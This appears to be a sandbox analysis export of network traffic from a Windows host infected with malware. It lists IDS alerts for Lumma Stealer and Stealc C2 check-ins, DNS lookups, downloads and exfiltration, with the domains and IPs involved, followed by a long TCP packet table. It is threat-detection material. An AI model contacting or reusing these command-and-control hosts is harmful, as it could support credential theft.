2024-10-31T02:09:56.037749+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50012	188.114.97.3	443	TCP
2024-10-31T02:09:56.885736+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50013	185.215.113.16	80	TCP
2024-10-31T02:09:56.885736+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50013	185.215.113.16	80	TCP
2024-10-31T02:09:57.598598+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50014	188.114.97.3	443	TCP
2024-10-31T02:10:00.891522+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50019	188.114.97.3	443	TCP
2024-10-31T02:10:09.501953+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50025	185.215.113.206	80	TCP
2024-10-31T02:10:17.213356+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50026	185.215.113.206	80	TCP
2024-10-31T02:10:19.040473+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	49620	1.1.1.1	53	UDP
2024-10-31T02:10:19.352345+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	63679	1.1.1.1	53	UDP
2024-10-31T02:10:19.539736+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	58874	1.1.1.1	53	UDP
2024-10-31T02:10:19.757025+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	63316	1.1.1.1	53	UDP
2024-10-31T02:10:20.559477+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50027	188.114.97.3	443	TCP
2024-10-31T02:10:21.111736+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50027	188.114.97.3	443	TCP
2024-10-31T02:10:21.111736+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50027	188.114.97.3	443	TCP
2024-10-31T02:10:27.183510+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50028	188.114.97.3	443	TCP
2024-10-31T02:10:27.964457+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50028	188.114.97.3	443	TCP
2024-10-31T02:10:27.964457+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50028	188.114.97.3	443	TCP
2024-10-31T02:10:29.057430+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50029	188.114.97.3	443	TCP
2024-10-31T02:10:30.534033+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50031	188.114.97.3	443	TCP
2024-10-31T02:10:31.181778+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50030	185.215.113.206	80	TCP
2024-10-31T02:10:32.033697+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50032	188.114.97.3	443	TCP
2024-10-31T02:10:33.909314+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50033	188.114.97.3	443	TCP
2024-10-31T02:10:34.243245+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50033	188.114.97.3	443	TCP
2024-10-31T02:10:40.741196+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50034	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 02:07:58.814985991 CET	49704	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:07:58.815093040 CET	443	49704	188.114.97.3	192.168.2.5
Oct 31, 2024 02:07:58.815202951 CET	49704	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:07:58.816629887 CET	49704	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:07:58.816669941 CET	443	49704	188.114.97.3	192.168.2.5
Oct 31, 2024 02:07:59.449620008 CET	443	49704	188.114.97.3	192.168.2.5
Oct 31, 2024 02:07:59.449767113 CET	49704	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:07:59.456768990 CET	49704	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:07:59.456814051 CET	443	49704	188.114.97.3	192.168.2.5
Oct 31, 2024 02:07:59.457200050 CET	443	49704	188.114.97.3	192.168.2.5
Oct 31, 2024 02:07:59.506764889 CET	49704	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:07:59.589405060 CET	49704	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:07:59.589464903 CET	49704	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:07:59.589819908 CET	443	49704	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:00.054970980 CET	443	49704	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:00.055130005 CET	443	49704	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:00.055237055 CET	49704	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:00.056875944 CET	49704	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:00.056932926 CET	443	49704	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:00.056961060 CET	49704	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:00.056977034 CET	443	49704	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:00.105046034 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:00.105071068 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:00.105164051 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:00.105519056 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:00.105530024 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:00.785655022 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:00.785794020 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:00.787365913 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:00.787374020 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:00.787722111 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:00.789165974 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:00.789199114 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:00.789256096 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.545388937 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.545459986 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.545506954 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.545511007 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.545525074 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.545577049 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.545589924 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.545638084 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.545677900 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.545690060 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.545732021 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.545773029 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.545778990 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.569539070 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.569586992 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.569593906 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.569606066 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.569645882 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.569766045 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.570138931 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.570179939 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.570188046 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.570256948 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.570307970 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.570388079 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.570399046 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.570431948 CET	49705	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.570436001 CET	443	49705	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.679481030 CET	49706	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.679572105 CET	443	49706	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:01.679698944 CET	49706	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.680020094 CET	49706	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:01.680058002 CET	443	49706	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:02.296591997 CET	443	49706	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:02.296694040 CET	49706	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:02.330370903 CET	49706	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:02.330391884 CET	443	49706	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:02.330652952 CET	443	49706	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:02.332349062 CET	49706	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:02.332479954 CET	49706	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:02.332514048 CET	443	49706	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:03.123651981 CET	443	49706	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:03.124005079 CET	49706	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:03.239126921 CET	49707	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:03.239161968 CET	443	49707	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:03.239272118 CET	49707	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:03.239597082 CET	49707	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:03.239610910 CET	443	49707	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:03.852178097 CET	443	49707	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:03.852369070 CET	49707	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:03.853555918 CET	49707	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:03.853564978 CET	443	49707	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:03.853921890 CET	443	49707	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:03.855143070 CET	49707	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:03.855293036 CET	49707	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:03.855345011 CET	443	49707	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:03.855417967 CET	49707	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:03.855424881 CET	443	49707	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:04.579103947 CET	443	49707	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:04.579385996 CET	443	49707	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:04.579468966 CET	49707	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:04.579534054 CET	49707	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:04.579546928 CET	443	49707	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:04.907017946 CET	49708	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:04.907049894 CET	443	49708	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:04.907155991 CET	49708	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:04.907589912 CET	49708	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:04.907603025 CET	443	49708	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:05.524060965 CET	443	49708	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:05.524163961 CET	49708	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:05.525741100 CET	49708	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:05.525748014 CET	443	49708	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:05.525986910 CET	443	49708	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:05.527398109 CET	49708	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:05.527550936 CET	49708	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:05.527585983 CET	443	49708	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:05.527657032 CET	49708	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:05.527664900 CET	443	49708	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:06.215166092 CET	443	49708	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:06.215658903 CET	49708	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:06.630913019 CET	49709	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:06.630939960 CET	443	49709	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:06.631022930 CET	49709	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:06.631360054 CET	49709	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:06.631372929 CET	443	49709	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:07.260492086 CET	443	49709	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:07.260588884 CET	49709	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:07.261930943 CET	49709	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:07.261939049 CET	443	49709	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:07.262367010 CET	443	49709	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:07.263797045 CET	49709	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:07.263885975 CET	49709	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:07.263891935 CET	443	49709	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:07.746403933 CET	443	49709	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:07.746539116 CET	443	49709	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:07.746609926 CET	49709	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:07.746835947 CET	49709	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:07.746846914 CET	443	49709	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:08.610294104 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:08.610322952 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:08.610404968 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:08.610884905 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:08.610897064 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.235754013 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.235930920 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.237689972 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.237701893 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.238466978 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.240086079 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.241111994 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.241152048 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.241274118 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.241314888 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.241435051 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.241485119 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.241624117 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.241652966 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.241801023 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.241830111 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.241981983 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.242014885 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.242026091 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.242186069 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.242213964 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.251595974 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.251741886 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.251792908 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.251804113 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.251815081 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.251846075 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.251961946 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.252005100 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.252013922 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.252043962 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.252065897 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.252131939 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:09.252159119 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:09.257970095 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:10.997515917 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:10.997766972 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:10.997840881 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:11.000369072 CET	49710	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:11.000389099 CET	443	49710	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:11.138237000 CET	49711	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:11.138309956 CET	443	49711	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:11.138386011 CET	49711	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:11.139385939 CET	49711	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:11.139398098 CET	443	49711	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:12.115485907 CET	443	49711	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:12.115623951 CET	49711	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:12.117206097 CET	49711	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:12.117218018 CET	443	49711	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:12.117984056 CET	443	49711	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:12.119232893 CET	49711	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:12.119268894 CET	49711	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:12.119429111 CET	443	49711	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:12.635446072 CET	443	49711	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:12.635703087 CET	443	49711	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:12.635778904 CET	49711	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:12.635875940 CET	49711	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:12.635875940 CET	49711	443	192.168.2.5	188.114.97.3
Oct 31, 2024 02:08:12.635920048 CET	443	49711	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:12.635945082 CET	443	49711	188.114.97.3	192.168.2.5
Oct 31, 2024 02:08:12.654324055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:12.659249067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:12.659445047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:12.659631014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:12.665793896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.563107967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.563129902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.563139915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.563147068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.563153028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.563158989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.563163996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.563169956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.563241959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.563252926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.563271046 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.563370943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.568212986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.568226099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.568237066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.568283081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.568284988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.568295002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.568335056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.616157055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.717094898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.717108965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.717120886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.717164040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.717170954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.717183113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.717191935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.717210054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.717225075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.717696905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.717830896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.717873096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.717906952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.717962980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.717973948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.717998028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.718391895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.718404055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.718414068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.718434095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.718461037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.834242105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.834274054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.834290981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.834306002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.834321022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.834323883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.834356070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.834454060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.834470034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.834485054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.834497929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.834500074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.834527016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.835010052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.835056067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.835154057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.871051073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.871098042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.871740103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.874962091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.874978065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.874993086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.875015020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.875077009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.951247931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.951280117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.951297998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.951319933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.951335907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.951344967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.951350927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.951366901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.951380014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.951385021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.951400042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.951427937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.951956034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.951980114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.951996088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.952029943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.988019943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.988075972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.988791943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.992142916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.992168903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.992183924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:13.992203951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:13.992238998 CET	49712	80	192.168.2.5	185.215.113.16
